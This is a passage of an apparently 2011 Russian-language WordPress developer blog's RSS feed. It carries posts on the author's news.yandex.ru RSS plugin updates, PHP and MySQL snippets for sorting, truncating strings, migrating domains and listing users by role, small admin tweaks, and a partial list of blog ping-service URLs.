		<description><![CDATA[выкроил немного времени, внес правки в news.yandex.u wordpress rss2.0, качаем тестим, пишем о багах]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1529" title="news.yandex.ru WordPress RSS2.0" src="http://saintist.ru/wp-content/uploads/2011/07/news.yandex.ru-WordPress-RSS2.0-209x300.jpg" alt="" width="209" height="300" /></p>
<p>выкроил немного времени, внес правки в <a href="http://saintist.ru/2011/07/20/news-yandex-ru-wordpress-rss2-0/" title="news.yandex.u wordpress rss2.0">news.yandex.u wordpress rss2.0</a>, качаем тестим, пишем о багах</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/07/27/nebolshoj-apdejt-news-yandex-ru-wordpress-rss2-0/feed/</wfw:commentRss>
		<slash:comments>57</slash:comments>
		</item>
		<item>
		<title>news.yandex.ru WordPress RSS2.0</title>
		<link>http://saintist.ru/2011/07/20/news-yandex-ru-wordpress-rss2-0/</link>
		<comments>http://saintist.ru/2011/07/20/news-yandex-ru-wordpress-rss2-0/#comments</comments>
		<pubDate>Tue, 19 Jul 2011 21:29:27 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[мои wordpress plugins]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1528</guid>
		<description><![CDATA[Я уже писал про свой WordPress плагин для news.yandex.ru . В результате доработок и правок, пришел к мысли о необходимости концептуального изменения и переделки. Сегодня представляю news.yandex.ru WordPress RSS2.0 создан на основе наработок первого варианта, но работает немного по другому. Плагин выводит посты за последние семь дней из выбранных категорий в виде rss в формате [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1529" title="news.yandex.ru WordPress RSS2.0" src="http://saintist.ru/wp-content/uploads/2011/07/news.yandex.ru-WordPress-RSS2.0-209x300.jpg" alt="" width="209" height="300" /><br />
Я уже писал про свой WordPress <a title="плагин для news.yandex.ru" href="http://saintist.ru/2011/02/14/wordpress-plugin-rss2-0-dlya-news-yandex-ru/"> плагин для news.yandex.ru </a>. В результате доработок и правок, пришел к мысли о необходимости концептуального изменения и переделки.</p>
<p>Сегодня представляю <strong>news.yandex.ru WordPress RSS2.0</strong> создан на основе наработок первого варианта, но работает немного по другому.<br />
<span id="more-1528"></span><br />
Плагин выводит посты за последние семь дней из выбранных категорий в виде rss в формате пригодном для сервиса news.yandex.ru.</p>
<p>Все заголовки постов обрезаются до 200 символов, при этом соблюдается целостность слов.<br />
Заголовки постов в rss пишутся в нижнем регистре, заглавняа буква в верхнем.<br />
Все изображения опубликованные в постах добавляются в rss согласно рекомендациям news.yandex.ru.</p>
<p>ссылка на feed теперь одна а не для каждой рубрики своя</p>
<p>имеет вид http://ваш_сайт/?feed=news.yandex.ru</p>
<p>при использовании плагинов перенаправления на  feedburner</p>
<p>убираем их</p>
<p>в .htaccess добавляем</p>
<p>в htaccess</p>
<p>добавить</p>
<p><strong>RewriteEngine on<br />
 RewriteCond %{REQUEST_URI}      ^/?(feed.*|comments.*)        [NC]<br />
 RewriteCond %{HTTP_USER_AGENT} !^.*(FeedBurner|FeedValidator) [NC]<br />
 RewriteRule ^feed/?.*$          http://feeds.feedburner.com/ваш_id_feedburner[L,NC,R=302]<br />
 RewriteRule ^comments/?.*$      http://feeds.feedburner.com/ваш_id_feedburner_comments [L,NC,R=302]</strong></p>
<p>ссылка на скачивание <a href="http://saintist.ru/wp-content/uploads/2011/07/news-yandex-ru-0.1.zip">news.yandex.ru WordPress RSS2.0 (v 0.1)</a></p>
<p><strong>update v0.2</strong><br />
1. шорткоды не публикуются в тексте<br />
2. убрал перевод в нижний/верхний регистр заголовков (делайте сами правильный регистр букв у заголовков новостей)<br />
3. Поправил неверные ссылки на картинки внутри новости (ругался яндекс из-за  вхождения спецсимволов в url  картинки)<br />
4. Для адекватного вывода тега author пропишите имя фамилию автора новостей в профиле (тег необязательный, вероятно уберу его совсем впоследствии)<br />
5. Спецсимволы согласно требованиям яндекса обрабатываются</p>
<pre>Встречающиеся в тексте символы &lt; &gt; &amp; ' " необходимо заменять на соответствующие элементы:
&amp; на &amp;amp;
&lt; на &amp;lt;
&gt; на &amp;gt;
' на &amp;apos;
" на &amp;quot;</pre>
<p>&nbsp;</p>
<p>ссылка на скачивание <a href="http://saintist.ru/wp-content/uploads/2011/07/news-yandex-ru-0.2.zip">news.yandex.ru WordPress RSS2.0 (v 0.2)</a></p>
<p>пишем замечания и впечатления</p>
<p><strong>update v0.2.1</strong></p>
<p>1. поправлено  #8220,#8221</p>
<p>ссылка на скачивание <a href="http://saintist.ru/wp-content/uploads/2011/07/news-yandex-ru-0.2.1.zip">news.yandex.ru WordPress RSS2.0 (v 0.2.1)</a></p>
<p><strong>update v0.2.2</strong></p>
<p>1. поправлено  двойное квотирование кавычек</p>
<p>ссылка на скачивание <a href="http://saintist.ru/wp-content/uploads/2011/07/news-yandex-ru-0.2.2.zip">news.yandex.ru WordPress RSS2.0 (v 0.2.2)</a></p>
<p><strong>update v0.2.3</strong></p>
<p>1. поправлен вывод  часового пояса</p>
<p>ссылка на скачивание <a href="http://saintist.ru/wp-content/uploads/2011/07/news-yandex-ru-0.2.3.zip">news.yandex.ru WordPress RSS2.0 (v 0.2.3)</a></p>
<p><strong>update v0.2.4</strong></p>
<p>1.  Добавлена возможность выбора точного количества выводимых постов, Плагин все также  выводит сообщения за последнюю неделю но  можно выбрать их фиксированное количество. Актуально для  сайтов  у которых большие объемы публикуемого контента и бот яндекса не успевает за  15  секунд  полностью получить rss</p>
<p>ссылка на скачивание <a href="http://saintist.ru/wp-content/uploads/2011/09/news-yandex-ru-0.2.4.zip">news.yandex.ru WordPress RSS2.0 (v 0.2.4)</a></p>
<p><strong>update v0.2.4.1</strong></p>
<p>Наскреб немного свободного времени для очередных правок<br />
1.  шорткоды теперь не публикуются в rss, тег  script  и все его содержимое тоже<br />
ссылка на скачивание <a href="http://saintist.ru/wp-content/uploads/2011/09/news-yandex-ru-0.2.4.1.zip">news.yandex.ru WordPress RSS2.0 (v 0.2.4.1)</a></p>
<p><strong>23.01.2012 update v0.2.4.2</strong><br />
ссылка на скачивание <a href="http://saintist.ru/wp-content/uploads/2011/09/news-yandex-ru-0.2.4.2.zip">news.yandex.ru WordPress RSS2.0 (v 0.2.4.2)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/07/20/news-yandex-ru-wordpress-rss2-0/feed/</wfw:commentRss>
		<slash:comments>107</slash:comments>
		</item>
		<item>
		<title>query_posts post__in и порядок вывода постов</title>
		<link>http://saintist.ru/2011/07/19/query_posts-post__in-i-poryadok-vyvoda-postov/</link>
		<comments>http://saintist.ru/2011/07/19/query_posts-post__in-i-poryadok-vyvoda-postov/#comments</comments>
		<pubDate>Tue, 19 Jul 2011 13:04:06 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1523</guid>
		<description><![CDATA[При использовании query_posts для вывода списка необходимых записей зачастую встает вопрос сортировки. И стандартные вариант сортировки не всегда то что нужно.. Рассмотрю частный случай. Например нам необходимо выбрать посты с ID равным 1, 2, 3,78 и 234 и вывести их в порядке 2, 3, 1, 234, 78 используя код query_posts( array( 'post__in' => array(2, 3, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2011/07/query_posts1.jpg"><img src="http://saintist.ru/wp-content/uploads/2011/07/query_posts1-300x228.jpg" alt="" title="query_posts post__in order" width="300" height="228" class="aligncenter size-medium wp-image-1524" /></a></p>
<p>При использовании query_posts  для вывода  списка  необходимых записей зачастую встает вопрос сортировки. И стандартные  вариант сортировки не всегда то что нужно..<br />
Рассмотрю частный случай.<br />
<span id="more-1523"></span></p>
<p>Например нам необходимо  выбрать посты с ID  равным  1, 2, 3,78 и  234 и вывести их в порядке</p>
<pre>
2, 3, 1, 234, 78
</pre>
<p>используя код </p>
<pre>
query_posts( array( 'post__in' => array(2, 3, 1, 234, 78)  ) );
</pre>
<p>у нас не получится  вывести список постов в нужном нам порядке , так как по умолчанию вордпресс сортирует посты по дате. Остальные  варианты сортировки тоже  мало помогут.</p>
<p>И даже  такое ухищрение как простановка дат  в нужном порядке у заданных постов,  не самый лучший вариант.</p>
<p>Все  гораздо проще, нужно воспользоваться таким приемом для  вывода постов в нужном порядке при использовании post__in.</p>
<pre>
query_posts( array( 'post__in' => array(2, 3, 1, 234, 78),  'orderby' => 'post__in' ) );
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/07/19/query_posts-post__in-i-poryadok-vyvoda-postov/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>WordPress Проблемы с cforms после переноса на другой хостинг</title>
		<link>http://saintist.ru/2011/07/13/wordpress-problemy-s-cforms-posle-perenosa-na-drugoj-xosting/</link>
		<comments>http://saintist.ru/2011/07/13/wordpress-problemy-s-cforms-posle-perenosa-na-drugoj-xosting/#comments</comments>
		<pubDate>Wed, 13 Jul 2011 14:23:04 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Cforms]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1516</guid>
		<description><![CDATA[Обратился к мне сегодня постоянный заказчик с просьбой поправить сайт на WordPress собранный другим разработчиков. Одним из багов была нерабочая контактная форма на основе плагина cforms II. При ближайшем рассмотрении оказалось что не работает ajax режим контактной формы, при сабмите запрос шел на какой-то левый домен. Как оказалось на этом домене шла разработка с последующим [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/07/cforms1-300x233.png" alt="" title="cforms II ajax bug" width="300" height="233" class="aligncenter size-medium wp-image-1517" /></p>
<p>Обратился к мне сегодня  постоянный заказчик с просьбой поправить сайт на WordPress  собранный  другим разработчиков. Одним из багов была нерабочая контактная форма на основе плагина  cforms II. При ближайшем рассмотрении оказалось что  не  работает ajax режим  контактной формы, при сабмите  запрос шел на какой-то   левый  домен.<br />
<span id="more-1516"></span><br />
Как оказалось на этом домене шла разработка с последующим переносом всего  на  боевой хост.</p>
<p>Никакой информации которая бы помогла решить проблемы я не нашел и изучив  код плагина   нашел  собственное очевидное решение.</p>
<p>Как оказалось для  url  для   ajax запросов </p>
<pre>

http://сайт/wp-content/plugins/cforms/lib_ajax.php
</pre>
<p>cforms резервирует переменную и не хранит ее в базе или  в php  скрипте (почему не определяет путь  динамически?  непонятно  какими соображениями руководствовался автор плагина) </p>
<p>и эта переменная  записана  статично в  файле </p>
<pre>
js/cforms.js
</pre>
<p>в папке с плагином cforms </p>
<p>для устранения бага с ajax  в cforms  после переноса  на  другой домен открываем указанный файл  ищем строку </p>
<pre>
var sajax_uri = 'http://старый домен/wp-content/plugins/cforms/lib_ajax.php';
</pre>
<p>меняем ее на  </p>
<pre>
var sajax_uri = 'http://новый домен/wp-content/plugins/cforms/lib_ajax.php';
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/07/13/wordpress-problemy-s-cforms-posle-perenosa-na-drugoj-xosting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Оптимизация WordPress в 4 простых шага.</title>
		<link>http://saintist.ru/2011/07/11/optimizaciya-wordpress-v-4-prostyx-shaga/</link>
		<comments>http://saintist.ru/2011/07/11/optimizaciya-wordpress-v-4-prostyx-shaga/#comments</comments>
		<pubDate>Sun, 10 Jul 2011 22:10:42 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1511</guid>
		<description><![CDATA[WordPress очень гибкая система но к сожалению с каждой новой версией все более требовательна к ресурсам. Опишу несколько приемов по оптимизации и уменьшению нагрузки при использовании WordPress/ Статья рассчитана как рекомендации и не претендует на подробное руководство по оптимизации. 1. Отключаем ревизии. Каждый раз когда вы редактируете посты система периодически делает копии состояний редактируемых постов, [...]]]></description>
			<content:encoded><![CDATA[<p>WordPress  очень гибкая система но к сожалению  с каждой новой версией  все более требовательна к ресурсам.</p>
<p><img src="http://saintist.ru/wp-content/uploads/2011/07/super-wp-300x261.png" alt="" title="super-wp" width="300" height="261" class="aligncenter size-medium wp-image-1512" /></p>
<p>Опишу несколько приемов по  оптимизации  и уменьшению нагрузки при использовании WordPress/ Статья  рассчитана как рекомендации и не  претендует на  подробное руководство по оптимизации.<br />
<span id="more-1511"></span><br />
1. Отключаем ревизии. Каждый раз когда  вы  редактируете посты  система периодически делает копии состояний редактируемых постов, &#171;засоряя&#187; базу  дополнительными записями. С одной стороны это удобно так как позволяет в непредвиденных ситуациях  восстановить  записи  но как правило  это  мало востребованный  функционал.</p>
<p>отключается  добавлением в  файл  wp-config.php  сроки</p>
<pre>
define('WP_POST_REVISIONS', false);
</pre>
<p>2. Заголовок  блога   перегружен в области head довольно большим количеством вывода всевозможных тегов. Это все можно отключить.  В файле function.php  пропишем </p>
<pre>
remove_action( 'wp_head', 'feed_links_extra', 3 );
remove_action( 'wp_head', 'feed_links', 2 );
remove_action( 'wp_head', 'rsd_link' );
remove_action( 'wp_head', 'wlwmanifest_link' );
remove_action( 'wp_head', 'index_rel_link' );
remove_action( 'wp_head', 'parent_post_rel_link', 10, 0 );
remove_action( 'wp_head', 'start_post_rel_link', 10, 0 );
remove_action( 'wp_head', 'adjacent_posts_rel_link', 10, 0 );
remove_action( 'wp_head', 'wp_generator' );
</pre>
<p>3.  Сносим все   избыточные   плагины. Авторы плагинов  в большинстве своем  не заботятся о оптимизации. По этой причине  при  достаточном количестве плагинов   сайт на WP  может порядочно  жрать ресурсы. Все  излишнее деактивируем.</p>
<p>4. Ставим  плагин кеширования , наиболее распространенный  WP Super Cach. Проверено на собственном опыте, даже на сайте с посещалкой  300-400 уников в день, нагрузка уменьшается  примерно в  10-12 раз.</p>
<p>Для контроля потребляемых ресурсов в footer.php  темы  можно добавить  строку</p>
<pre>
printf(('%d / %s'), get_num_queries(), timer_stop(0, 3));
if ( function_exists('memory_get_usage') ) echo ' / '.round(memory_get_usage()/1024/1024, 2).'mb ';
</pre>
<p>для контроля  количества запросов к БД и  размера потребляемых ресурсов хостинга.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/07/11/optimizaciya-wordpress-v-4-prostyx-shaga/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Обрезать строку UTF-8 до нужного количества  символов, не  обрезав последнее слово</title>
		<link>http://saintist.ru/2011/06/30/obrezat-stroku-utf-8-do-nuzhnogo-kolichestva-simvolov-ne-obrezav-poslednee-slovo/</link>
		<comments>http://saintist.ru/2011/06/30/obrezat-stroku-utf-8-do-nuzhnogo-kolichestva-simvolov-ne-obrezav-poslednee-slovo/#comments</comments>
		<pubDate>Thu, 30 Jun 2011 17:38:11 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1506</guid>
		<description><![CDATA[Задача, обрезать строку в UTF-8 до нужного количества символов, не обрезав последнее слово, например до 200 символов. function truncate_words($text, $limit=200) { $text=mb_substr($text,0,$limit); /*если не пустая обрезаем до последнего пробела*/ if(mb_substr($text,mb_strlen($text)-1,1) &#038;&#038; mb_strlen($text)==$limit) { $textret=mb_substr($text,0,mb_strlen($text)-mb_strlen(strrchr($text,' '))); if(!empty($textret)) { return $textret; } } return $text; } работает просто, режем символы до нужной длины, смотрим если последний не [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/06/1282576394_utf-8_friend.kg1_-300x172.jpg" alt="" title="1282576394_utf-8_friend.kg[1]" width="300" height="172" class="aligncenter size-medium wp-image-1507" /><br />
Задача, обрезать строку в UTF-8 до нужного   количества символов, не обрезав последнее слово, например  до  200 символов.<br />
<span id="more-1506"></span></p>
<pre>
function truncate_words($text, $limit=200)
{
	$text=mb_substr($text,0,$limit);
	/*если не пустая обрезаем до  последнего  пробела*/
	if(mb_substr($text,mb_strlen($text)-1,1) &#038;&#038; mb_strlen($text)==$limit)
	{
		$textret=mb_substr($text,0,mb_strlen($text)-mb_strlen(strrchr($text,' ')));
		if(!empty($textret))
		{
			return $textret;
		}
	}
	return $text;
}
</pre>
<p>работает просто,  режем символы до нужной длины, смотрим если последний не пробельный символ, ищем  последний пробельный, обрезаем, если  после обрезки  ничего от строки не остается то  возвращаем  строку после обрезки до нужной длины.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/06/30/obrezat-stroku-utf-8-do-nuzhnogo-kolichestva-simvolov-ne-obrezav-poslednee-slovo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Замена подстроки в  MySQL столбца</title>
		<link>http://saintist.ru/2011/06/22/zamena-podstroki-v-mysql-stolbca/</link>
		<comments>http://saintist.ru/2011/06/22/zamena-podstroki-v-mysql-stolbca/#comments</comments>
		<pubDate>Wed, 22 Jun 2011 10:56:47 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1476</guid>
		<description><![CDATA[Очень часто возникает необходимость при переносе сайта на wordpress на новый хостинг сделать замену старого url на новый в базе как правило скачивается дамп в виде текстового файла и в редакторе меняется одна строка на другую. Все те же манипуляции можно сделать используя синтаксис SQL например через phpMyAdmin залив не измененный дамп и выполнив несколько [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/06/Replace1-300x68.gif" alt="" title="Replace[1]" width="300" height="68" class="aligncenter size-medium wp-image-1477" /><br />
Очень часто возникает необходимость при переносе сайта на  wordpress на новый хостинг  сделать замену старого  url на новый в  базе</p>
<p> как правило скачивается  дамп  в виде текстового файла и в  редакторе меняется одна строка на другую.</p>
<p>Все те же манипуляции можно сделать  используя синтаксис SQL  например через  phpMyAdmin залив не измененный дамп  и выполнив несколько  SQL  запросов.<br />
<span id="more-1476"></span><br />
для того чтобы заменить Замена подстроки с  столбце  MySQL столбца </p>
<p>достаточно  выполнить запрос вида:</p>
<p><strong>UPDATE имя_таблицы SET<br />
имя_столбца= REPLACE(имя_столбца, &#8216;что найти&#8217;, &#8216;на что поменять&#8217;)</strong></p>
<p>для  переноса нужно сделать вот какие запросы:</p>
<p><strong>UPDATE wp_options SET<br />
option_value= REPLACE(option_value, &#8216;http://старый_домен&#8217;, &#8216;http://новый_домен&#8217;)</strong></p>
<p>и о аналогии поменять строки в таблице <strong>wp_posts </strong>  в столбцах <strong>guid </strong>и <strong>post_content</strong></p>
<p><strong>update: 26.10.2011</strong></p>
<p>если используем  wp_nav_menu  и в них кастомные линки на  старый домен то  выполняем также запрос</p>
<p><strong>UPDATE wp_postmeta SET<br />
meta_value= REPLACE(meta_value, &#8216;http://старый_домен&#8217;, &#8216;http://новый_домен&#8217;)</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/06/22/zamena-podstroki-v-mysql-stolbca/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress Список пользователей по  роли</title>
		<link>http://saintist.ru/2011/06/15/wordpress-spisok-polzovatelej-po-roli/</link>
		<comments>http://saintist.ru/2011/06/15/wordpress-spisok-polzovatelej-po-roli/#comments</comments>
		<pubDate>Wed, 15 Jun 2011 10:19:52 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1454</guid>
		<description><![CDATA[При разработке на WordPress необходимость вывода списка пользователей по определенной роли этих пользователей случается довольно часто. Отлично с этой задачей справляется процедура: function getUsersByRole( $roles ) { global $wpdb; if ( ! is_array( $roles ) ) { $roles = explode( ",", $roles ); array_walk( $roles, 'trim' ); } $sql = ' SELECT ID, display_name FROM [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/06/wordpress-security-guard21-300x252.png" alt="" title="wordpress-security-guard2[1]" width="300" height="252" class="aligncenter size-medium wp-image-1455" /><br />
При разработке  на  WordPress  необходимость вывода списка пользователей по определенной роли этих пользователей случается довольно часто.</p>
<p>Отлично  с этой задачей справляется процедура:<br />
<span id="more-1454"></span></p>
<pre>
function getUsersByRole( $roles ) {
	global $wpdb;
	if ( ! is_array( $roles ) ) {
		$roles = explode( ",", $roles );
		array_walk( $roles, 'trim' );
	}
	$sql = '
		SELECT	ID, display_name
		FROM		' . $wpdb->users . ' INNER JOIN ' . $wpdb->usermeta . '
		ON		' . $wpdb->users . '.ID				=		' . $wpdb->usermeta . '.user_id
		WHERE	' . $wpdb->usermeta . '.meta_key		=		\'' . $wpdb->prefix . 'capabilities\'
		AND		(
	';
	$i = 1;
	foreach ( $roles as $role ) {
		$sql .= ' ' . $wpdb->usermeta . '.meta_value	LIKE	\'%"' . $role . '"%\' ';
		if ( $i < count( $roles ) ) $sql .= ' OR ';
		$i++;
	}
	$sql .= ' ) ';
	$sql .= ' ORDER BY display_name ';
	$userIDs = $wpdb->get_col( $sql );
	return $userIDs;
}
</pre>
<p>т.е. чтоб получить список пользователей с ролью test</p>
<p>делаем </p>
<pre>
$testusers=getUsersByRole('test');
</pre>
<p>на  выходе будет список в виде  массива содержащего  id  пользователей</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/06/15/wordpress-spisok-polzovatelej-po-roli/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WordPress Admin bar &#8212; как её отключить?</title>
		<link>http://saintist.ru/2011/06/12/wordpress-admin-bar-kak-eyo-otklyuchit/</link>
		<comments>http://saintist.ru/2011/06/12/wordpress-admin-bar-kak-eyo-otklyuchit/#comments</comments>
		<pubDate>Sun, 12 Jun 2011 12:56:05 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1450</guid>
		<description><![CDATA[В версии WordPress 3.1. интерфейс авторизированного пользователя обогатился Админ Баром это такая серая полосочка зафиксированная в верхней части страницы сайта, удобная вещь позволяющая бустро делать манипуляции при редактировании сайта. Но зачастую она ненужна. Как отключить ВордПресс админ бар? есть 2 варианта. Зайти в админку в управление своим профилем и убрать галку с чекбокса или же [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/06/wordpress_admin_bar1-300x108.jpg" alt="" title="wordpress_admin_bar[1]" width="300" height="108" class="aligncenter size-medium wp-image-1452" /><br />
В версии WordPress 3.1. интерфейс авторизированного пользователя обогатился Админ  Баром </p>
<p>это такая серая полосочка зафиксированная в верхней части  страницы сайта, удобная вещь позволяющая  бустро делать манипуляции при редактировании сайта.</p>
<p>Но зачастую она  ненужна.</p>
<p>Как отключить ВордПресс админ бар?</p>
<p>есть 2 варианта.<br />
<span id="more-1450"></span></p>
<p>Зайти в админку в управление своим профилем и убрать галку с чекбокса<br />
<img src="http://saintist.ru/wp-content/uploads/2011/06/wodpress-admin-bar-300x84.png" alt="" title="wodpress admin bar" width="300" height="84" class="aligncenter size-medium wp-image-1451" /></p>
<p>или же в файл functions.php  добавить  строчку</p>
<pre>
add_filter('show_admin_bar', '__return_false');
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/06/12/wordpress-admin-bar-kak-eyo-otklyuchit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress добавить цитату (excerpt) для страницы (page)</title>
		<link>http://saintist.ru/2011/05/28/wordpress-dobavit-citatu-excerpt-dlya-stranicy-page/</link>
		<comments>http://saintist.ru/2011/05/28/wordpress-dobavit-citatu-excerpt-dlya-stranicy-page/#comments</comments>
		<pubDate>Sat, 28 May 2011 18:55:25 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Новости]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1441</guid>
		<description><![CDATA[По умолчанию поле цитаты в админке при редактировании записей типа page отключено. Для включения метабокса цитаты у страниц необходимо сделать две вещи. 1. В файл functions.php добавить строку add_post_type_support( 'page', 'excerpt' ); 2. В меню [Настройки экрана] в редактировании страницы зачекить пункт [Цитата]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/05/wordpress-square-icon1.png" alt="" title="wordpress-square-icon[1]" width="256" height="256" class="aligncenter size-full wp-image-1443" /><br />
По умолчанию поле цитаты в админке при редактировании   записей типа  page отключено.</p>
<p>Для   включения метабокса цитаты у страниц необходимо  сделать две вещи.<br />
<span id="more-1441"></span><br />
1. В файл  functions.php добавить строку</p>
<pre>add_post_type_support( 'page', 'excerpt' );</pre>
<p>2. В меню [Настройки экрана] в редактировании страницы зачекить  пункт [Цитата]</p>
<p><a href="http://saintist.ru/wp-content/uploads/2011/05/page-excerpt.jpg"><img src="http://saintist.ru/wp-content/uploads/2011/05/page-excerpt-300x300.jpg" alt="" title="page-excerpt" width="300" height="300" class="aligncenter size-medium wp-image-1442" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/05/28/wordpress-dobavit-citatu-excerpt-dlya-stranicy-page/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Список пинг сервисов</title>
		<link>http://saintist.ru/2011/05/12/spisok-ping-servisov/</link>
		<comments>http://saintist.ru/2011/05/12/spisok-ping-servisov/#comments</comments>
		<pubDate>Wed, 11 May 2011 20:03:30 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Новости]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1433</guid>
		<description><![CDATA[Пинг сервисы для быстрой индексации сайта на WordPress само то что нужно, добавляются через меню &#171;Настройки&#187; -> &#171;Написание&#187; в блок &#171;Сервисы обновления&#187; http://ping.blogs.yandex.ru/RPC2 http://blogsearch.google.ru/ping/RPC2 http://xping.pubsub.com/ping/ http://wasalive.com/ping/ http://rpc.weblogs.com/RPC2 http://rpc.technorati.com/rpc/ping http://rpc.icerocket.com:10080/ http://pinger.blogflux.com/rpc http://ping.weblogalot.com/rpc.php http://ping.syndic8.com/xmlrpc.php http://ping.feedburner.com http://blogsearch.google.us/ping/RPC2 http://blogsearch.google.com/ping/RPC2 http://blogsearch.google.co.uk/ping/RPC2 http://blogpeople.net/servlet/weblogUpdates http://api.moreover.com/RPC2 http://www.xianguo.com/xmlrpc/ping.php http://www.feedsky.com/api/RPC2 http://www.blogpeople.net/servlet/weblogUpdates http://rpc.reader.livedoor.com/ping http://ping.namaan.net/rpc http://ping.kutsulog.net http://ping.fc2.com http://ping.blogoon.net http://rpc.pingomatic.com http://ping.weblogs.se/ http://blogmatcher.com/u.php http://coreblog.org/ping/ http://bulkfeeds.net/rpc http://trackback.bakeinu.jp/bakeping.php http://ping.myblog.jp http://ping.bitacoras.com http://ping.bloggers.jp/rpc/ [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/05/ping-blog-services1-300x173.jpg" alt="" title="ping-blog-services[1]" width="300" height="173" class="aligncenter size-medium wp-image-1434" /><br />
Пинг сервисы  для быстрой индексации сайта на  WordPress само то что нужно, добавляются через  меню &#171;Настройки&#187; -> &#171;Написание&#187; в блок &#171;Сервисы обновления&#187;<span id="more-1433"></span></p>
<p><noindex><a rel="nofollow" href="http://ping.blogs.yandex.ru/RPC2">http://ping.blogs.yandex.ru/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogsearch.google.ru/ping/RPC2">http://blogsearch.google.ru/ping/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://xping.pubsub.com/ping/">http://xping.pubsub.com/ping/</a></noindex><br />
<noindex><a rel="nofollow" href="http://wasalive.com/ping/">http://wasalive.com/ping/</a></noindex><br />
<noindex><a rel="nofollow" href="http://rpc.weblogs.com/RPC2">http://rpc.weblogs.com/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://rpc.technorati.com/rpc/ping">http://rpc.technorati.com/rpc/ping</a></noindex><br />
<noindex><a rel="nofollow" href="http://rpc.icerocket.com:10080/">http://rpc.icerocket.com:10080/</a></noindex><br />
<noindex><a rel="nofollow" href="http://pinger.blogflux.com/rpc">http://pinger.blogflux.com/rpc</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.weblogalot.com/rpc.php">http://ping.weblogalot.com/rpc.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.syndic8.com/xmlrpc.php">http://ping.syndic8.com/xmlrpc.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://ping.feedburner.com">http://ping.feedburner.com</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogsearch.google.us/ping/RPC2">http://blogsearch.google.us/ping/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogsearch.google.com/ping/RPC2">http://blogsearch.google.com/ping/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogsearch.google.co.uk/ping/RPC2">http://blogsearch.google.co.uk/ping/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://blogpeople.net/servlet/weblogUpdates">http://blogpeople.net/servlet/weblogUpdates</a></noindex><br />
<noindex><a rel="nofollow" href="http://api.moreover.com/RPC2">http://api.moreover.com/RPC2</a></noindex><br />
<noindex><a rel="nofollow" href="http://www.xianguo.com/xmlrpc/ping.php">http://www.xianguo.com/xmlrpc/ping.php</a></noindex><br />
<noindex><a rel="nofollow" href="http://www.feedsky.com/api/RPC2">http://www.feedsky.com/api/RPC2</a></noindex><br />
